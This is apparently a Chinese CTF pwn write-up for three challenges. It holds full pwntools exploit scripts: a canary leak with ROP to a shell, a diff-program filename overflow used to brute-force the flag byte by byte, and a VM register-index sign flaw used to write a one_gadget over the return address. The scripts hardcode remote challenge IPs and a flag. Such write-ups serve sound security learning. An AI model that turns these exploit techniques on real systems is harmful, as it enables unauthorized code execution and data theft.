杀猪盘 静态编译,第四个人出来的时候有两次栈溢出,第一次泄露canary,第二次泄露基地址返回rop,execve("/bin/sh",0,0)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) r = remote('39.105.99.40' ,25862 ) def init (): r.sendlineafter('> ' , str (2 )) def cao (): r.sendlineafter(': ' , str (4 )) r.sendlineafter('Y/n)' , 'Y' ) r.sendline('\n' *13 ) r.sendlineafter('> ' , str (2 )) r.sendline('\n' *10 ) r.sendlineafter('> ' , str (1 )) r.sendlineafter(':' , 'AAAA' ) r.sendlineafter('你的积蓄' , str (0x100000 )) r.sendlineafter(':¥' , str (0x10000 )) r.sendlineafter('。' ,'\n' ) r.sendlineafter('> ' , str (5 )) init() cao() r.sendline('\n' ) r.sendafter(':' , 'A' *0x98 +'Z' ) r.recvuntil('Z' ) canary = u64('\x00' +r.recv(7 )) r.sendline('\n' ) r.sendafter(':' , 'A' *0x98 +p64(canary)) r.sendline('\n' ) cao() r.sendline('\n' ) r.sendafter(':' , 'A' *0xa7 +'Z' ) r.recvuntil('Z' ) base = u64(r.recv(6 )+2 *'\x00' )-0xb885 prdi_r = 0x0000000000009cc2 +base r.sendline('\n' ) r.sendafter(':' , 'A' *0x98 +p64(canary)\ +p64(0 )+p64(prdi_r)+p64(base+0xC2D1B )+\ p64(base+0x0000000000018c9e )+p64(0 )+\ p64(base+0x0000000000009bcf )+p64(0 )+\ p64(0xA16C0 +base)) r.sendline('\n' ) r.sendline('\n' ) success(hex (canary)) success(hex (base)) r.interactive()
diff set name后strcpy存在越界,能够修改文件2的文件名,拼成///flag从而在diff时读取靶机根目录flag
diff中循环条件存在问题,char型当相加为256时变0退出循环,返回“一样”,利用这一点可以逐字节爆破flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl compare (int a1, int fd) { char v2; int v4; unsigned int i; char addr[120 ]; v4 = 0 ; if ( sys_read(fd, buf1, 0x64 u) < 0 || sys_read(a1, addr, 0x64 u) < 0 ) JUMPOUT(0x804905F ); for ( i = 0 ; addr[i] + buf1[i] && i < 0x400 ; ++i ) { v2 = buf1[i]; if ( v2 != addr[i] ) return v4 + 1 ; if ( v2 == 10 ) ++v4; } return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *import syscontext(os='linux' , arch='amd64' ) def upload (name, data ): r.sendlineafter('> ' , str (1 )) r.sendafter('filename:' , name) r.sendafter('data:' , data) def setname (idx, name ): r.sendlineafter('> ' , str (2 )) r.sendlineafter('file 1 or 2:' , str (idx)) r.sendafter(':' ,name) def gen (s ): return p8(256 -ord (i)) cnt = 0 def PWN (ss ): global cnt cnt+=1 upload('flag' +str (cnt)+'\x00' , ss+'\x00' ) upload('flag\x00\x00\x00\x00\x00\x00' , 'flag\x00' ) setname(1 , ('flag' +str (cnt)+'\x00' ).ljust(0x80 -5 , '\x00' )+'/////' ) r.recvuntil('> ' ) r.sendline('4' ) s = r.recv() print (s) if '1' not in s: return 0 else : return 1 s = string.printable ans = 'flag{0e149552-d355-4b96-8c2e-2b27e7ec94ab}' for i in s: print (i) if sys.argv[1 ] == 're' : r = remote('47.95.8.59' ,18209 ) else : r = process('./launcher' ) if PWN(ans+gen(i)) == 0 : ans+=i print (ans) r.close() break else : print (ans) r.close() continue r.interactive()
mvm 没交上flag
vm中对寄存器idx判断有误,存在负溢。当<=6时将作为数组索引取值,这里的数据转换还存在一层溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 case 0xF : if ( !v17 ) { fwrite("Stack Underflow !\n" , 1uLL , 0x12 uLL, stderr ); _exit(0 ); } if ( *((__int64 *)j + 1 ) > 6 ) { fwrite("Invalid Register !\n" , 1uLL , 0x13 uLL, stderr ); _exit(0 ); } v19 = v22[--v17]; v21[*((_QWORD *)j + 1 )] = v22[v17]; break ;
下面是if ( *((__int64 *)j + 1) > 6 )的汇编
1 2 cmp rax, 6 jle short loc_1EA0
下面汇编表示v21[*((_QWORD *)j + 1)] = v22[v17];
1 2 3 4 5 mov rax, [rbp+var_20068] mov rax, [rax+8] mov rdx, [rbp+var_20070] mov rdx, [rbp+rdx*8+var_20020] mov [rbp+rax*8+var_20050], rdx
上两段汇编可以看到在做判断的时候使用rax判断,而当作为数组索引时会存在rdx中,用[rbp+rdx*8+var_20020]取值,这里rdx*8就可能丢失精度,当该64位数值最高位为1时,判断时会是一个负数,而作为数组索引时由于被乘8(左移3位),最高位可以由1变0,从而变成一个正数,用来索引到下方栈空间
可以利用这一点对返回地址进行读取和存储,通过加偏移指向one_gadget后放回,最后返回
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) r = process('./mvm' ) libc = ELF('./libc-2.31.so' ) code = [] code.append(4 ) code.append((-(1 <<64 )+0x20058 )//8 ) code.append(1 ) code.append(0xe6c81 -(libc.sym['__libc_start_main' ]+243 )) code.append(5 ) code.append(15 ) code.append((-(1 <<64 )+0x20058 )//8 ) code.append(16 ) r.recv() r.sendline(str (len (code)/2 )) for i in code: r.sendline(str (i)) r.interactive()